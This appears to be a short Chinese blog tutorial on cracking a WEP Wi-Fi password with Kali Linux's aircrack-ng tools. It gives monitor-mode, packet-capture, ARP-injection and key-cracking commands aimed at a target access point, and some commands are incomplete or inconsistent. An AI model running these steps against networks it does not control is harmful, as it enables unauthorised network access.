Kali 获取WEP无线密码过程

过年比较闲，之前用过kali来研究了下WEP的密码强度，现在整理一下过程，用来备忘。（此教程仅用于个人研究，如有违法行为，后果自负）

现在kali的版本升级到了2.0，升级或安装后，自带了aircrack，还需要一张无线网卡，注意安装驱动。

步骤：

1.airmon-ng 查看网卡信息

2.开始监听接口

airmon-ng start wlan0(根据上一步查看到的设备名)

3.扫描wifi信号

airodump-ng wlan0mon(根据上一步得到的设备名)

4.开始抓包（根据上一步扫描到的wifi名）

airodump-ng -c 6 --bssid AP's MAC -w wep mon0 (-c后面的6为AP工作频道，--bissid后面的AP's MAC 是要欲破解AP的MAC地址，-w后的wep的是抓下来的数据包DATA 保存的文件名(可以随便取名)，然后回车开始抓包。也可以加--ivs只抓 ivs包

5. 获取数据包的速度可能有点慢，可以再另开一个终端，输入 aireplay-ng -1 0 -e ESSID -a AP's MAC -h My MAC mon0 与AP建立虚拟连接不断向其发包，也可以用arp注入加速发送流量。aireplay-ng -3 -b -h wifi0。

6. 收集有5000个以上的DATA之后，另开一个终端，输入 sudo aircrack-ng wep*.cap 进行解密 (如果没算出来的话，继续等，Ubuntu aircrack-ng会在DATA每增加多5000个之后就自动再运行 ，直到算出密码为止) 。这里需要注意，如果没有人用这个wifi可能就不能抓到密码，等到有人用的时候就可以抓到密码了。